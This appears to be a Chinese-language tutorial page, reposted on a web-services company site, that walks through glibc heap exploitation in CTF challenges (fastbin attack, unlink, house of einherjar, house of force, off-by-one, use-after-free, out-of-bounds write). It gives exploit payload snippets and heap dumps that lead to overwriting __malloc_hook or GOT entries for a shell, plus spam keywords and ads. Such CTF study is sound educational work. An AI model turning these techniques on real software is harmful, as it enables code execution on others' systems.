真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

CTFPWN堆溢出的示例分析

CTF PWN堆溢出的示例分析,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

創(chuàng)新互聯(lián)公司服務(wù)項(xiàng)目包括松滋網(wǎng)站建設(shè)、松滋網(wǎng)站制作、松滋網(wǎng)頁(yè)制作以及松滋網(wǎng)絡(luò)營(yíng)銷策劃等。多年來(lái),我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,松滋網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到松滋省份的部分城市,未來(lái)相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!

知識(shí)點(diǎn)

利用fastbin之間,單鏈表的連接的特性, 溢出修改下一個(gè)free chunk的地址, 造成任意地址寫.

例子: 0CTF 2017 Babyheap

Fill功能可以填充任意長(zhǎng)字節(jié), 漏洞在此.

leak memory: libc address

modify __malloc_hook內(nèi)容為one_gadget

getshell

重點(diǎn): fastbin attack

First Step

alloc(0x60)
alloc(0x40)
0x56144ab7e000: 0x0000000000000000  0x0000000000000071 --> chunk0 header
0x56144ab7e010: 0x0000000000000000  0x0000000000000000
0x56144ab7e020: 0x0000000000000000  0x0000000000000000
0x56144ab7e030: 0x0000000000000000  0x0000000000000000
0x56144ab7e040: 0x0000000000000000  0x0000000000000000
0x56144ab7e050: 0x0000000000000000  0x0000000000000000
0x56144ab7e060: 0x0000000000000000  0x0000000000000000
0x56144ab7e070: 0x0000000000000000  0x0000000000000051 --> chunk1 header
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
0x56144ab7e090: 0x0000000000000000  0x0000000000000000

Second Step

Fill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 開始破壞chunk1 header
0x56144ab7e000: 0x0000000000000000  0x0000000000000071
0x56144ab7e010: 0x6161616161616161  0x6161616161616161
0x56144ab7e020: 0x6161616161616161  0x6161616161616161
0x56144ab7e030: 0x6161616161616161  0x6161616161616161
0x56144ab7e040: 0x6161616161616161  0x6161616161616161
0x56144ab7e050: 0x6161616161616161  0x6161616161616161
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071  --> 已修改為0x71
0x56144ab7e080: 0x0000000000000000  0x0000000000000000

Third Step: 申請(qǐng)small chunk

0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
0x56144ab7e080: 0x0000000000000000  0x0000000000000000
0x56144ab7e090: 0x0000000000000000  0x0000000000000000
0x56144ab7e0a0: 0x0000000000000000  0x0000000000000000
0x56144ab7e0b0: 0x0000000000000000  0x0000000000000000
0x56144ab7e0c0: 0x0000000000000000  0x0000000000000111 --> chunk2 header

Fouth Step: 破壞chunk2 header, 最后目的是釋放chunk2

Fill(2, 0x20, 'c' * 0x10 + p64(0) + p64(0x71)) --> fake chunk header
Free(1)
Alloc(0x60)
0x56144ab7e000: 0x0000000000000000  0x0000000000000071
......
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
......
0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071 --> fake chunk header

Fifth Step: 修復(fù)chunk2 header, free

Fill(1, 0x40 + 0x10, 'b' * 0x60 + p64(0) + p64(0x111)) --> 修復(fù)chunk2
Free(2)
Dump(1)
0x56144ab7e060: 0x6161616161616161  0x6161616161616161
0x56144ab7e070: 0x0000000000000000  0x0000000000000071
0x56144ab7e080: 0x6262626262626262  0x6262626262626262
0x56144ab7e090: 0x6262626262626262  0x6262626262626262
......
0x56144ab7e0c0: 0x0000000000000000  0x0000000000000111
0x56144ab7e0d0: 0x00007f26abbacb78  0x00007f26abbacb78 --> 指向libc中的某地址(程序使用的是write, 將內(nèi)容全部打印, 不會(huì)出現(xiàn)\x00截止)
0x56144ab7e0e0: 0x0000000000000000  0x0000000000000071

Sixth Step: 修改下一個(gè)free chunk為__malloc_hook

Free(1)  
payload = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0) # fake     chunk + 修改修改的地址Fill(0, 0x60 + 0x10 + 0x10, payload)

詳解解析

文件下載

第二節(jié)(fastbin_dup_consolidate)

知識(shí)點(diǎn)

當(dāng)topchunk size不足以滿足申請(qǐng)的大小, 會(huì)合并fastbin的空閑chunk. 如若在不足: 主分配區(qū)調(diào)用sbrk, 增加top chunk大小; 非主分配區(qū)調(diào)用mmap來(lái)分配一個(gè)新的sub-heap.

got表中存放著函數(shù)的真實(shí)地址, 函數(shù)調(diào)用會(huì)去got表中查找函數(shù)地址, 然后跳轉(zhuǎn).修改got表對(duì)應(yīng)函數(shù)的地址, 達(dá)到getshell目的.

double free: 釋放兩次內(nèi)存, 可與Unlink搭配實(shí)現(xiàn)任意地址讀寫.

栗子:HITCON CTF 2016 SleepyHolder

程序分析

可以選擇申請(qǐng)40, 4000, 400000三種不同大小的堆塊, 每種只能申請(qǐng)一個(gè). 400000會(huì)清空f(shuō)astbin.  刪除: 將相應(yīng)的標(biāo)志位置位0修改, 不檢查相應(yīng)的指針是否已釋放, 造成Double Free.

重點(diǎn)

演示過(guò)程:

申請(qǐng)small secret、big secret

刪除small secret

申請(qǐng)large secret

申請(qǐng)large secret之前

CTF PWN堆溢出的示例分析

之后

CTF PWN堆溢出的示例分析

詳細(xì)解析

文件下載

第三節(jié)(unsafe_unlink)

知識(shí)點(diǎn)

unlink: 當(dāng)freer兩個(gè)相鄰的small chunk時(shí), 會(huì)發(fā)生合并的特性來(lái)攻擊的. 合并后的chunk塊放在雙向鏈表構(gòu)成的unsorted bin.

栗子:HITCON CTF 2014 stkof

程序分析

alloc:輸入分配內(nèi)存的大小

read_in: 寫入任意長(zhǎng)度, 漏洞在此

free:useless

重點(diǎn)

繞過(guò)size檢查繞過(guò)指針檢查

CTF PWN堆溢出的示例分析

繞過(guò)size

if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
  malloc_printerr ("corrupted size vs. prev_size");

過(guò)程捋一下

> P=0x1307540, chunksize(P) = 0x20
> nextchunk(P) = 0x1307540 + 0x20 = 0x1307540 + 0x20
> prev_size = [0x1307540 + 0x20] = 0x20
> 0x20 = 0x20 , 繞過(guò), 就是fake_chunk, 很好繞過(guò)的.

繞過(guò)指針檢查

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
  malloc_printerr ("corrupted double-linked list");                              \

過(guò)程捋一下

> FD = [0x1307540 + 0x10] = 0x602138,
> BK = [0x1307540 + 0x18] = 0x602140
> FD->bk = [0x602138 + 0x18] = 0x1307540,
> BK-> fd = [0x602140 + 0x10] = 0x1307540
> P = 0x1307540
> FD->bk != P 為false
> BK->fd != P 為false
> 成功繞過(guò)

詳細(xì)解析

文件下載

第四節(jié)(house_of_einherjar)

知識(shí)點(diǎn)

house_of_einherjar:該對(duì)利用技術(shù)可以強(qiáng)制使得malloc返回一個(gè)幾乎任意地址的chunk, 主要在于濫用free中的后向合并.

栗子:Seccon CTF 2016 tinypad

程序分析

Add memo

Delete memo: 將指針釋放, size位清零, 但沒有將對(duì)應(yīng)的指針清零.

Edit memo: 存在一個(gè)Off_By_One漏洞.

Quit

CTF PWN堆溢出的示例分析

CTF PWN堆溢出的示例分析

重點(diǎn)

通過(guò)利用Off_By_One和unlink, 修改unsorted bin的指針

1. 泄露

add(0x80, "A"*0x80)
add(0x80, "B"*0x80)
add(0x80, "C"*0x80)
add(0x80, "D"*0x80)
delete(3)
delete(1)

CTF PWN堆溢出的示例分析2. house_of_einherjar

add(0x18, "A"*0x18)
add(0x100, "B"*0xf8 + p64(0x11))
add(0x100, "C"*0x100)
add(0x100, "D"*0x100)
tinypad = 0x602040
offset = heap + 0x20 - 0x602040 - 0x20
fake_chunk = p64(0) + p64(0x101) + p64(0x602060) * 2
edit(3, "D"*0x20 + fake_chunk)
zero_byte_number = 8 - len(p64(offset).strip("\x00"))
'''
循環(huán)edit的原因是stcpy()會(huì)因?yàn)榭兆庸?jié)而停止copy, 但每次讀取都會(huì)將最后一個(gè)字節(jié)變?yōu)镹ULL, 這樣就可以用NULL逐一覆蓋, 使2號(hào)chunk的prev_size為offset
'''
for i in range(zero_byte_number+1):
  data = "A"*0x10 + p64(offset).strip("\x00").rjust(8-i, 'f')
  edit(1, data)
delete(2)
edit(4, "D"*0x20 + p64(0) + p64(0x101) + p64(main_arena + 0x58)*2) #修復(fù)unsorted bin

CTF PWN堆溢出的示例分析詳細(xì)解析

文件下載

第五節(jié)(house_of_force)

知識(shí)點(diǎn)

house_of_force:溢出top chunk, 返回任意地址.

top chunk:當(dāng)bins 和 fastbin不能滿足申請(qǐng)的大小時(shí), 就會(huì)從top chunk分割相應(yīng)的大小給用戶. 例如: 第一次malloc時(shí), fastbin 和 bins中并沒有相應(yīng)的空閑的chunk, 就會(huì)從top chunk中分配.

栗子:BCTF 2016 bcloud

程序分析

Welcome: 輸入name, host, org.漏洞在此, 構(gòu)造一定的輸入, 可使程序復(fù)制過(guò)量的數(shù)據(jù)到相應(yīng)的堆空間, 可修改top chunk size

New Note: malloc

Show Note: display

Edit Note: update

Delete: free

重點(diǎn)

name = "Bill"*0x10
org = "A"*0x40
host = p32(0xffffffff)
welcome(name, org, host)

CTF PWN堆溢出的示例分析

CTF PWN堆溢出的示例分析

原因

CTF PWN堆溢出的示例分析

詳細(xì)解析

文件下載

第六節(jié)(off_by_one)

知識(shí)點(diǎn)

Off_By_One: 意思就是我們能夠多寫入一個(gè)字節(jié), 不要小看這個(gè)字節(jié),有時(shí)候能夠修改chunk header的狀態(tài).

栗子: Asis CTF 2016 b00ks

程序分析

Welcome: 輸入一個(gè)author name, 這個(gè)地方存在Off_By_One漏洞, 溢出一個(gè)空子節(jié).

Create a book: 創(chuàng)建一本書

Delete

Edit a book

Print book detail

Change current author name(再次編輯給了我們修改book指針的機(jī)會(huì))Exit

漏洞位置

CTF PWN堆溢出的示例分析

第一個(gè)影響: 信息泄露

CTF PWN堆溢出的示例分析

第二個(gè)影響: 會(huì)修改堆地址

CTF PWN堆溢出的示例分析

思路: 在修改后的堆地址布置一個(gè)fake chunk, 可以修改任意地址.

詳細(xì)解析

文件詳解

第七節(jié)(UAF)

知識(shí)點(diǎn)

Use After Free: 內(nèi)存被釋放后, 其對(duì)應(yīng)指針沒有被置為NULL, 再次使用有可能使程序崩潰. realloc: 重新修改分配空間, 源代碼可以在文件下載鏈接中下載, 這個(gè)源代碼不是很長(zhǎng).

申請(qǐng)的比原來(lái)大, 釋放原來(lái)的指針, 重新申請(qǐng)內(nèi)存.

申請(qǐng)的比原來(lái)小, 返回原始指針.

栗子:CISCN CTF 2018 task_supermarket

程序分析

struct node{
    char name[16];
    int price;
    int size;
    char* des;
}commodity[15];

add

delete

list

change price

change description: 漏洞在此.當(dāng)我們申請(qǐng)一個(gè)比原來(lái)的堆大的, 程序并沒有更新原來(lái)的結(jié)構(gòu)體中的des指針.若我們此時(shí)再次申請(qǐng)一個(gè)node[1], 而這個(gè)node[1]剛好落在node[0]的des區(qū)域, 我們就可以通過(guò)編輯node[0]的des來(lái)控制node[1].

CTF PWN堆溢出的示例分析思路驗(yàn)證CTF PWN堆溢出的示例分析

CTF PWN堆溢出的示例分析

CTF PWN堆溢出的示例分析

詳細(xì)解析

文件下載

第八節(jié)(數(shù)組越界)

知識(shí)點(diǎn)

數(shù)組越界: 就是程序不見驗(yàn)證index的正負(fù), 可能會(huì)出現(xiàn)向前覆蓋的情況.例如:char *s = "hello,world"; 試一下 s[-1]

栗子: CISCN 2018 task_note_service

程序分析

add note: 沒有對(duì)輸入的index, 進(jìn)行正負(fù)判斷, 導(dǎo)致數(shù)組越界

show note

edit note

delete note

CTF PWN堆溢出的示例分析

思路

修改free@got的值為shellcode的地址.

修改之前

CTF PWN堆溢出的示例分析

修改之后

CTF PWN堆溢出的示例分析

看完上述內(nèi)容,你們掌握CTF PWN堆溢出的示例分析的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!


標(biāo)題名稱:CTFPWN堆溢出的示例分析
URL網(wǎng)址:http://weahome.cn/article/ippcei.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部